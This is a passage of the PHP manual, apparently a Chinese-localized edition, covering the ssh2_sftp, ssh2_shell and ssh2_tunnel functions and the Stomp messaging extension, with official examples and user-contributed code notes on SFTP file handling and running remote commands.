    ssh2_auth_password($connection, 'username', 'password');
    $sftp = ssh2_sftp($connection);
    return "ssh2.sftp://$sftp";
}
$remote = connect();
is_file( $remote."/path/to/file");
// Warning
// Message: is_file(): ## is not a valid SSH2 SFTP resource
?>

You need to have $sftp still avaible at moment the function (is_file, filesize, fopen, ...) uses it
Otherwise, I guess the GC cleans it up and closes the ssh2_stfp connection
That's why this work :

<?php
function connect(){
    //...
    global $sftp;
    $sftp = ssh2_sftp($connection);
    return "ssh2.sftp://$sftp";
}
$remote = connect();
is_file( $remote."/path/to/file");

// Or way better :

class myClass {
    public function connect(){
        //...
        $this->sftp     = ssh2_sftp($connection);
        $this->remote   = "ssh2.sftp://".$this->sftp;
    }
    public function test(){
        is_file( $this->remote."/path/to/file");
    }
}
$obj = new myClass();
$obj->connect();
$obj->test();
?>
Josh 25-May-2015 08:47
Note that you must enter the full wrapper URI order for functions that accept those parameters to work properly. For example, this (which is referenced more than once in other comments) does not work:

while (false !== ($file = readdir($handle))) if (is_dir($file)) { /* ... */ }

This does work:

$sc = ssh2_sftp(...);
while (false !== ($file = readdir($handle))) if (is_dir("ssh2.sftp://$sc/$file")) { /* ... */ }

You need to pass the "path" into these functions as an fopen() wrapper URI.
Jaybee 03-Apr-2014 10:02
When uploading (writing) a file you must use an absolute path, not a relative one.

If, like me, you want to use a relative path, you can use the following code:

$fh=fopen("ssh2.sftp://$sftp".ssh2_sftp_realpath($sftp,".")."/fileinmyhomedir.txt");
sandipshah at vthrive dot com 16-Nov-2009 03:05
In

$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'r');

please make sure that you are specifying the "absolute" path to a file.

If not, you'll get errors like

"Unable to open file ..."

The reasoning is simple ... ssh2.sftp://$sftp points to the "root" directory on the remote server, where, most likely, one does not have access.

It is necessary to point it to your "home" directory.  For example, "ssh2.sftp://$sftp/home/username/filename" ... where "/home/username" is where your home directory is.
bas weerman 08-Jul-2008 03:13
I changed the read function to:

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $size = $this->getFileSize($remote_file);
        $contents = '';
        $read = 0;
        $len = $size;
        while ($read < $len && ($buf = fread($stream, $len - $read))) {
          $read += strlen($buf);
          $contents .= $buf;
        }
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function getFileSize($file){
      $sftp = $this->sftp;
        return filesize("ssh2.sftp://$sftp$file");
    }
bas weerman 14-May-2008 12:22
I added some functionality for scanning the filesystem and receiving and deleting files.

class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " . "and password $password.");
        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");
        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");
        @fclose($stream);
    }

        function scanFilesystem($remote_file) {
              $sftp = $this->sftp;
            $dir = "ssh2.sftp://$sftp$remote_file";
              $tempArray = array();
            $handle = opendir($dir);
          // List all the files
            while (false !== ($file = readdir($handle))) {
            if (substr("$file", 0, 1) != "."){
              if(is_dir($file)){
//                $tempArray[$file] = $this->scanFilesystem("$dir/$file");
               } else {
                 $tempArray[]=$file;
               }
             }
            }
           closedir($handle);
          return $tempArray;
        }

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $contents = fread($stream, filesize("ssh2.sftp://$sftp$remote_file"));
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function deleteFile($remote_file){
      $sftp = $this->sftp;
      unlink("ssh2.sftp://$sftp$remote_file");
    }
}
duke1 at drakkon dot net 23-Apr-2008 08:38
if anyone is interested on how to get a directory listing:
$SSH_CONNECTION= ssh2_connect('shell.example.com', 22);
ssh2_auth_password($SSH_CONNECTION, 'username', 'password');
//-------------------------------------------------------------------
//this function finds all files within  given directory and returns them
function scanFilesystem($dir) {
    $tempArray = array();
    $handle = opendir($dir);
  // List all the files
    while (false !== ($file = readdir($handle))) {
    if (substr("$file", 0, 1) != "."){
           if(is_dir($file)){
            $tempArray[$file]=scanFilesystem("$dir/$file");
        } else {
            $tempArray[]=$file;
        }
    }
    }
   closedir($handle);
  return $tempArray;
}

//-------------------------------------------------------------------
$sftp = ssh2_sftp($SSH_CONNECTION);

//code to get listing of all OUTGOING files
$dir = "ssh2.sftp://$sftp/outgoing";
$outgoing = scanFilesystem($dir);
sort($outgoing);
print_r($outgoing);
Curtis Wyatt 28-Jan-2008 07:58
The sftp class provided by David Barnes works great.  However, if you get errors about fopen and it failing to open a stream, try the fully qualified path on the remote server.

For example, if you are uploading a file to /Users/username/Sites/file.txt this may not work:

<?php
try {
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "Sites/file.txt");
}
catch (Exception $e) {
    echo $e->getMessage() . "\n";
}
?>

but this will:

<?php
try {
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "/Users/username/Sites/file.txt");
}
catch (Exception $e) {
    echo $e->getMessage() . "\n";
}
?>

Don't assume that since you are connecting as that user that you are starting in its home space.

Another possible option is that you need to use http://us.php.net/manual/en/function.ssh2-sftp-mkdir.php first to make the directory if it does not exist already, and then upload the file into it.
David Barnes 15-Nov-2006 03:08
Here is an example of how to send a file with SFTP:

<?php

class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " .
                                "and password $password.");

        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');

        if (! $stream)
            throw new Exception("Could not open file: $remote_file");

        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");

        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");

        @fclose($stream);
    }
}

try
{
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "/tmp/to_be_received");
}
catch (Exception $e)
{
    echo $e->getMessage() . "\n";
}

?>


Request an interactive shell

  • ? ssh2_sftp
  • ssh2_tunnel ?
  • PHP Manual
  • SSH2 函数
  • Request an interactive shell

ssh2_shell

(PECL ssh2 >= 0.9.0)

ssh2_shell — Request an interactive shell

说明

ssh2_shell(
resource $session,
string $termtype = "vanilla",
?array $env = null,
int $width = 80,
int $height = 25,
int $width_height_type = SSH2_TERM_UNIT_CHARS
): resource|false

Open a shell at the remote end and allocate a stream for it.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

termtype

termtype should correspond to one of the entries in the target system's /etc/termcap file.

env

env may be passed as an associative array of name/value pairs to set in the target environment.

width

Width of the virtual terminal.

height

Height of the virtual terminal.

width_height_type

width_height_type should be one of SSH2_TERM_UNIT_CHARS or SSH2_TERM_UNIT_PIXELS.

返回值

Returns a stream resource on success, 或者在失败时返回 false.

示例

Example #1 Requesting an interactive shell

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_shell($connection, 'vt102', null, 80, 24, SSH2_TERM_UNIT_CHARS);
?>

参见

  • ssh2_exec() - Execute a command on a remote server
  • ssh2_tunnel() - Open a tunnel through a remote server
  • ssh2_fetch_stream() - Fetch an extended data stream

User Contributed Notes

nogueiraconsultoria at gmail dot com 29-Jul-2020 01:25
I get it a work script for multiple commands. This script return  output of each command on array, indexed by the "command".

Att: ssh2_cmd() dont work for multiple commands, thus ssh2_shell(). Attencion for de EOL on witch type of SO. I used "\n" at the end of witch command, but maybe other options like "<br>, ; , etc);

        $connection = ssh2_connect($input_host_ip, 22);

        if (false === $connection) {
                error_log("ERROR fun??o SSH_UMTELECOM: Connection failed!\n",3,$log_file);
                exit();
        }else{
                if($debugar){error_log("SSH_UMTELECOM: Connection success to $input_host_ip!\n",3,$log_file);}

                $auth = @ssh2_auth_password($connection, $user, $pass);
                if (false === $auth) {
                        error_log("ERROR fun??o SSH_UMTELECOM: Authentication failed on $input_host_ip (user: $user)!\n",3,$log_file);
                        exit();
                }else{
                        if($debugar){error_log("SSH_UMTELECOM: Authentication success to $input_host_ip!\n",3,$log_file);}

                        error_log("Iniciando Stream: $connection\n",3,$log_file);
                        $output_array = array();
                        $shell = ssh2_shell($connection, 'vt100');

                        foreach($input_cmd as $cmd){
                                if($debugar){error_log("shell: $cmd\n",3,$log_file);}
                                $output_stream = ""; # Limpa variável para cada intera??o
                                fwrite($shell, "$cmd\n"); # N?o esquecer o "\n" ao término de cada comando
                                #stream_set_blocking($shell, true); # N?o funciona, aguarda infinitamente
                                sleep(2); # 2 segundos para redes com alta latência
                                while($output_streams = fgets($shell)){
                                        $output_stream .= $output_streams;
                                        flush();# Limpa o conteúdo para a próxima intera??o
                                }
                                $output_array[] = $output_stream; # Reune cada retorno em seu respectivo comando
                        }
                        fclose($shell); # Gracius logout from shell
                }# Fim if false === $auth
        }# Fim if false === $conenection
tuxedobob at mac dot com 08-Apr-2014 08:37
Keep in mind that when using ssh2_shell, the remote system's EOL may not be the same as PHP's EOL, so it may not be safe to use PHP_EOL. The native EOL for Windows is \r\n, while Unix is typically merely \n, and classic Mac for some reason is \r.

If you're running PHP on Windows (\r\n) and sshing into a Unix box (\n) you're going to end up sending extra lines. My experience so far is that it just acts as though you typed nothing, which may cause issues with password prompts.

Oh, and \n\r? Don't do that. Nobody does that.
tsschulz at gmx dot net 11-Jan-2011 08:07
In my case the ssh2_shell doesn't work every time. There were many problems:
- If I use stream_get_contents, the command(s) never executed
- with while ($buf = fgets...) the loop never stops
- without sleep(1) before stream_set_blocking, the command wasn't execute every time. Anyone knows why?
That's what I made, and it works - but I think it isn't what it should be:
<?php
        $strCommand = 'tar -C /path/to/extract -xjf /path/from/file.tar.bz2';
        $sshStream = ssh2_shell($this->sshSession, 'xterm', null, 120, 24, SSH2_TERM_UNIT_CHARS);
        fwrite($sshStream, $strCommand . PHP_EOL);
        sleep(1);
        stream_set_blocking($sshStream, true);
        $sshUntarRetval = "";
        while ($buf = fgets($sshStream,4096)) {
        flush();
            $sshUntarRetval .= $buf;
            if (strpos($buf, 'tar -C') !== false)
            {
                break;
            }
        }
        fclose($sshStream);
?>
stefanov at uk dot ibm dot com 02-May-2008 08:26
Do not use \n to end the command. Some server will fail to process. Use always the standard for PHP end of line: PHP_EOL

'suri at suribala dot com"'s example should be modified as follows (also change the double quotes to single, for better performance):

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, 'user', 'password');
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, 'cd /dir_one;'.PHP_EOL);
fwrite( $shell, 'ls -la;'.PHP_EOL);
fwrite( $shell, 'cd /dir_two;'.PHP_EOL);
fwrite( $shell, 'ls -la;'.PHP_EOL);

?>

Cheers,

Pimmy
josh at hydril dot com 12-Jul-2007 04:49
To run a shell script with all the variables that you would have when logged in interactively add bash -l or sh --login infront of your command.  The script I use creates a shell script, copies the script to the box with ssh2_scp_send, then executes the script with ssh2_exec.  Hope this helps somebody.

<?php

//Example

$script1 = "bash -l /etc/rc.d/rc.httpd restart";

$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, $script1);
?>
vgopu1 at gmail dot com 09-Jul-2007 01:17
Hi,

we could also use shell_exec to execute multiple related commands
separated by semicolon (;).

 And I figured out  problem that sometimes arise related to the execution of complex java c/c++ programs. All we need to do is to set the required environment variables. I have a environment variable in .bash_profile. This variable would be set when I log into my account normally through shell. But when we use ssh2_connect(), the environment variables in the .bash_profile are not set, all we need to do is export the required environment variables with shell_exec();

example:

$conn = ssh2_connect($ipaddress);
ssh2_auth_password($conn,$username,$passwd);
$cmd1="/path/to/program1";
$cmd2="/path/to/program2";
$env1="export Variable_name1=path1";
$env2="export Variable_name2=path2"
$stream = ssh2_exec($connection,"$env1; $env2; $cmd1; $cmd2");//this would execute all the //commands and return
// stream
stream_set_blocking($stream, true);
while($o=fgets($stream)){
echo $o.'<br>';
}

...
...

Thanks,
Vikram Gopu .
http:\\my.lsu.edu/vgopu1
galvao at galvao dot eti dot br 18-Dec-2006 09:03
In response to webmaster at spectreanime dot com:

"For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running"

Actually what you must do is set the blocking of the string to true, so it waits until the server sends data to the STDOUT before echoing it.

So, instead of:

sleep(1);

Just do:

stream_set_blocking($stdio, true);

Best regards,
webmaster at spectreanime dot com 08-Jun-2005 01:38
// Connection to SSH server
        echo "Connexion SSH ";
        if (!($resource=@ssh2_connect("192.168.0.1"))) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // Authentification by login/passwd
        echo "Authentification ";
        if (!@ssh2_auth_password($resource,"root","your_password")) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // We need a shell
        echo "Shell stdio ";
        if (!($stdio = @ssh2_shell($resource,"xterm"))) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // Execution of any command
        // Be careful to add an '\n' at the  end of the command
        $command = "/bin/ls /tmp\n";
        fwrite($stdio,$command);

        // IMPORTANT
        // For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running
        sleep(1);

        // Then u can fetch the stream to see what happens on stdio
        while($line = fgets($stdio)) {
                flush();
                echo $line."<br />";
        }

        // It's always cleaner to close all stream
        fclose($stdio);

I truly hope i'll help someone :)
suri at suribala dot com 14-Feb-2005 05:03
Using ssh_exec, one could execute only one command at a time. However, ssh_shell, offers greater flexibility.

Here is an example:

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, "user", "password");
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, "cd /dir_one\n");
fwrite( $shell, "ls -la\n");
fwrite( $shell, "cd /dir_two\n");
fwrite( $shell, "ls -la\n");

?>

Thanks Sara for your implementation and your help !


Open a tunnel through a remote server

  • ? ssh2_shell
  • Stomp ?
  • PHP Manual
  • SSH2 函数
  • Open a tunnel through a remote server

ssh2_tunnel

(PECL ssh2 >= 0.9.0)

ssh2_tunnel — Open a tunnel through a remote server

说明

ssh2_tunnel(resource $session, string $host, int $port): resource

Open a socket stream to an arbitrary host/port by way of the currently connected SSH server.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

host

port

返回值

示例

Example #1 Opening a tunnel to an arbitrary host

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_pubkey_file($connection, 'username', 'id_dsa.pub', 'id_dsa');

$tunnel = ssh2_tunnel($connection, '10.0.0.101', 12345);
?>

参见

  • ssh2_connect() - Connect to an SSH server
  • fsockopen() - 打开 Internet 或者 Unix 套接字连接

User Contributed Notes

marc 26-Aug-2015 07:28
ssh2_tunnel returns a socket stream (e.g, the output of fsockopen). You can use something basic like this to send a line break and get any output back to test that it's working:

fwrite($tunnel, "\n");
while (!feof($tunnel)) {
      echo fgets($tunnel, 128);
}

Just a reminder: you can't currently use the socket with any of the cURL functions.


Stomp Client

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 示例
  • Stomp 函数
    • stomp_connect_error — Returns a string description of the last connect error
    • stomp_version — Gets the current stomp extension version
  • Stomp — The Stomp class
    • Stomp::abort — Rolls back a transaction in progress
    • Stomp::ack — Acknowledges consumption of a message
    • Stomp::begin — Starts a transaction
    • Stomp::commit — Commits a transaction in progress
    • Stomp::__construct — 打开连接
    • Stomp::__destruct — Closes stomp connection
    • Stomp::error — Gets the last stomp error
    • Stomp::getReadTimeout — Gets read timeout
    • Stomp::getSessionId — Gets the current stomp session ID
    • Stomp::hasFrame — Indicates whether or not there is a frame ready to read
    • Stomp::readFrame — Reads the next frame
    • Stomp::send — Sends a message
    • Stomp::setReadTimeout — Sets read timeout
    • Stomp::subscribe — Registers to listen to a given destination
    • Stomp::unsubscribe — Removes an existing subscription
  • StompFrame — The StompFrame class
    • StompFrame::__construct — Constructor
  • StompException — The StompException class
    • StompException::getDetails — Get exception details

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension allows php applications to communicate with any Stomp compliant Message Brokers through easy object-oriented and procedural interfaces. » Stomp official site

User Contributed Notes

There are no user contributed notes for this page.


需求

The » OpenSSL package >= 0.9.6 and the openssl extension may also be required to use stomp over SSL.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/stomp

User Contributed Notes

devin 11-Dec-2015 08:36
If you are encountering an error when building the Stomp extension:

pecl install stomp
OpenSSL install prefix (no to disable SSL support) [/usr] : /usr

configure: error: Cannot find OpenSSL's libraries
ERROR: `/var/tmp/stomp/configure --with-openssl-dir=/usr' failed

Even when openssl-devel is installed on the machine, try answering 'yes' to the openssl path prompt:

pecl install stomp
OpenSSL install prefix (no to disable SSL support) [/usr] : yes


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Stomp 配置选项
名字 | 默认 | 可修改范围 | 更新日志
stomp.default_broker | tcp://localhost:61613 | PHP_INI_ALL |
stomp.default_connection_timeout_sec | 2 | PHP_INI_ALL |
stomp.default_connection_timeout_usec | 0 | PHP_INI_ALL |
stomp.default_read_timeout_sec | 2 | PHP_INI_ALL |
stomp.default_read_timeout_usec | 0 | PHP_INI_ALL |

这是配置指令的简短说明。

stomp.default_broker string

The default broker URI to use when connecting to the message broker if no other URI is specified.

stomp.default_connection_timeout_sec int

The seconds part of the default connection timeout.

stomp.default_connection_timeout_usec int

The microseconds part of the default connection timeout.

stomp.default_read_timeout_sec int

The seconds part of the default reading timeout.

stomp.default_read_timeout_usec int

The microseconds part of the default reading timeout.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

There is only one resource type used in the stomp extension - it's the link identifier for a stomp connection.

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 面向对象风格

<?php

$queue = '/queue/foo';
$msg = 'bar';

/* connection */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Connection failed: ' . $e->getMessage());
}

/* send a message to the queue 'foo' */
$stomp->send($queue, $msg);

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe($queue);

/* read a frame */
$frame = $stomp->readFrame();

if ($frame->body === $msg) {
var_dump($frame);

/* acknowledge that the frame was received */
$stomp->ack($frame);
}

/* close connection */
unset($stomp);

?>

以上示例的输出类似于：

object(StompFrame)#2 (3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["headers"]=>
  array(5) {
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:2:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257226805828"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
  ["body"]=>
  string(3) "bar"
}

Example #2 过程化风格

<?php

$queue = '/queue/foo';
$msg = 'bar';

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, $queue, $msg, array('transaction' => 't1'));

/* commit a transaction */
stomp_commit($link, 't1');

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, $queue);

/* read a frame */
$frame = stomp_read_frame($link);

if ($frame['body'] === $msg) {
var_dump($frame);

/* acknowledge that the frame was received */
stomp_ack($link, $frame['headers']['message-id']);
}

/* close connection */
stomp_close($link);

?>

以上示例的输出类似于：

array(3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["body"]=>
  string(3) "bar"
  ["headers"]=>
  array(6) {
    ["transaction"]=>
    string(2) "t1"
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:3:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257227037059"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Stomp 函数

Table of Contents

  • stomp_connect_error — Returns a string description of the last connect error
  • stomp_version — Gets the current stomp extension version

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description of the last connect error

  • ? Stomp 函数
  • stomp_version ?
  • PHP Manual
  • Stomp 函数
  • Returns a string description of the last connect error

stomp_connect_error

(PECL stomp >= 0.3.0)

stomp_connect_error — Returns a string description of the last connect error

说明

stomp_connect_error(): string

Returns a string description of the last connect error.

参数

此函数没有参数。

返回值

A string that describes the error, or null if no error occurred.

示例

Example #1 stomp_connect_error() example

<?php
$link = stomp_connect('http://localhost:61613');

if(!$link) {
die('Connection failed: ' . stomp_connect_error());
}
?>

以上示例的输出类似于：

Connection failed: Invalid Broker URI scheme

User Contributed Notes

There are no user contributed notes for this page.


Gets the current stomp extension version

  • ? stomp_connect_error
  • Stomp ?
  • PHP Manual
  • Stomp 函数
  • Gets the current stomp extension version

stomp_version

(PECL stomp >= 0.1.0)

stomp_version — Gets the current stomp extension version

说明

stomp_version(): string

Returns a string containing the version of the current stomp extension.

参数

此函数没有参数。

返回值

It returns the current stomp extension version

示例

Example #1 stomp_version() example

<?php

var_dump(stomp_version());

?>

以上示例的输出类似于：

string(5) "0.2.0"

User Contributed Notes

There are no user contributed notes for this page.


The Stomp class

(PECL stomp >= 0.1.0)

简介

Represents a connection between PHP and a Stomp compliant Message Broker.

类摘要

class Stomp {
/* 方法 */
public __construct(
string $broker = ini_get("stomp.default_broker_uri"),
string $username = ?,
string $password = ?,
array $headers = ?
)
public abort(string $transaction_id, array $headers = ?): bool
stomp_abort(resource $link, string $transaction_id, array $headers = ?): bool
public ack(mixed $msg, array $headers = ?): bool
stomp_ack(resource $link, mixed $msg, array $headers = ?): bool
public begin(string $transaction_id, array $headers = ?): bool
stomp_begin(resource $link, string $transaction_id, array $headers = ?): bool
public commit(string $transaction_id, array $headers = ?): bool
stomp_commit(resource $link, string $transaction_id, array $headers = ?): bool
stomp_connect(
string $broker = ini_get("stomp.default_broker_uri"),
string $username = ?,
string $password = ?,
array $headers = ?
): resource
stomp_close(resource $link): bool
public error(): string
stomp_error(resource $link): string
public getReadTimeout(): array
stomp_get_read_timeout(resource $link): array
public getSessionId(): string|false
stomp_get_session_id(resource $link): string|false
public hasFrame(): bool
stomp_has_frame(resource $link): bool
public readFrame(string $class_name = "stompFrame"): stompframe
stomp_read_frame(resource $link): array
public send(string $destination, mixed $msg, array $headers = ?): bool
stomp_send(
resource $link,
string $destination,
mixed $msg,
array $headers = ?
): bool
public setReadTimeout(int $seconds, int $microseconds = ?): void
stomp_set_read_timeout(resource $link, int $seconds, int $microseconds = ?): void
public subscribe(string $destination, array $headers = ?): bool
stomp_subscribe(resource $link, string $destination, array $headers = ?): bool
public unsubscribe(string $destination, array $headers = ?): bool
stomp_unsubscribe(resource $link, string $destination, array $headers = ?): bool
public __destruct()
}

Table of Contents

  • Stomp::abort — Rolls back a transaction in progress
  • Stomp::ack — Acknowledges consumption of a message
  • Stomp::begin — Starts a transaction
  • Stomp::commit — Commits a transaction in progress
  • Stomp::__construct — 打开连接
  • Stomp::__destruct — Closes stomp connection
  • Stomp::error — Gets the last stomp error
  • Stomp::getReadTimeout — Gets read timeout
  • Stomp::getSessionId — Gets the current stomp session ID
  • Stomp::hasFrame — Indicates whether or not there is a frame ready to read
  • Stomp::readFrame — Reads the next frame
  • Stomp::send — Sends a message
  • Stomp::setReadTimeout — Sets read timeout
  • Stomp::subscribe — Registers to listen to a given destination
  • Stomp::unsubscribe — Removes an existing subscription

User Contributed Notes

guilherme dot geronimo at gmail dot com 12-Jul-2017 07:09
In some cases (E.g. ActiveMQ), when you have many consumers you need to identify your "client-id" during the connection process, otherwise the server can misunderstand your connection and create new topics/queues:

<?php
$stomp = new Stomp($url, $user, $password, array('client-id'=> $clientId ));
?>


Rolls back a transaction in progress

  • ? Stomp
  • Stomp::ack ?
  • PHP Manual
  • Stomp
  • Rolls back a transaction in progress

Stomp::abort

stomp_abort

(PECL stomp >= 0.1.0)

Stomp::abort -- stomp_abort — Rolls back a transaction in progress

说明

面向对象风格 (method):

public Stomp::abort(string $transaction_id, array $headers = ?): bool

过程化风格:

stomp_abort(resource $link, string $transaction_id, array $headers = ?): bool

Rolls back a transaction in progress.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

transaction_id

The transaction to abort.

headers

关联数组包含附加的头信息（例如： receipt）。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 面向对象风格

<?php

/* connection */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Connection failed: ' . $e->getMessage());
}

/* begin a transaction */
$stomp->begin('t1');

/* send a message to the queue */
$stomp->send('/queue/foo', 'bar', array('transaction' => 't1'));

/* rollback */
$stomp->abort('t1');

/* close connection */
unset($stomp);
?>

Example #2 过程化风格

<?php

/* connection */
$link = stomp_connect('tcp://localhost:61613');

/* check connection */
if (!$link) {
die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, '/queue/foo', 'bar', array('transaction' => 't1'));

/* rollback */
stomp_abort($link, 't1');

/* close connection */
stomp_close($link);

?>

注释

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

User Contributed Notes

There are no user contributed notes for this page.


Acknowledges consumption of a message

  • ? Stomp::abort
  • Stomp::begin ?
  • PHP Manual
  • Stomp
  • Acknowledges consumption of a message

Stomp::ack

stomp_ack

(PECL stomp >= 0.1.0)

Stomp::ack -- stomp_ack — Acknowledges consumption of a message

说明

面向对象风格 (method):

public Stomp::ack(mixed $msg, array $headers = ?): bool

过程化风格:

stomp_ack(resource $link, mixed $msg, array $headers = ?): bool

Acknowledges consumption of a message from a subscription using client acknowledgment.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

msg

The message/messageId to be acknowledged.

headers

关联数组包含附加的头信息（例如： receipt）。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 面向对象风格

<?php

$queue = '/queue/foo';
$msg = 'bar';

/* connection */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Connection failed: ' . $e->getMessage());
}

/* send a message to the queue 'foo' */
$stomp->send($queue, $msg);

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe($queue);

/* read a frame */
$frame = $stomp->readFrame();

if ($frame->body === $msg) {
/* acknowledge that the frame was received */
$stomp->ack($frame);
}

/* remove the subscription */
$stomp->unsubscribe($queue);

/* close connection */
unset($stomp);

?>

Example #2 过程化风格

<?php

$queue = '/queue/foo';
$msg = 'bar';

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, $queue, $msg, array('transaction' => 't1'));

/* commit a transaction */
stomp_commit($link, 't1');

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, $queue);

/* read a frame */
$frame = stomp_read_frame($link);

if ($frame['body'] === $msg) {
/* acknowledge that the frame was received */
stomp_ack($link, $frame['headers']['message-id']);
}

/* remove the subscription */
stomp_unsubscribe($link, $queue);

/* close connection */
stomp_close($link);

?>

注释

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

User Contributed Notes

There are no user contributed notes for this page.


Starts a transaction

  • ? Stomp::ack
  • Stomp::commit ?
  • PHP Manual
  • Stomp
  • Starts a transaction

Stomp::begin

stomp_begin

(PECL stomp >= 0.1.0)

Stomp::begin -- stomp_begin — Starts a transaction

说明

面向对象风格 (method):

public Stomp::begin(string $transaction_id, array $headers = ?): bool

过程化风格:

stomp_begin(resource $link, string $transaction_id, array $headers = ?): bool

Starts a transaction.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

transaction_id

The transaction id.

headers

关联数组包含附加的头信息（例如： receipt）。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

See stomp_commit() or stomp_abort().

注释

Tip

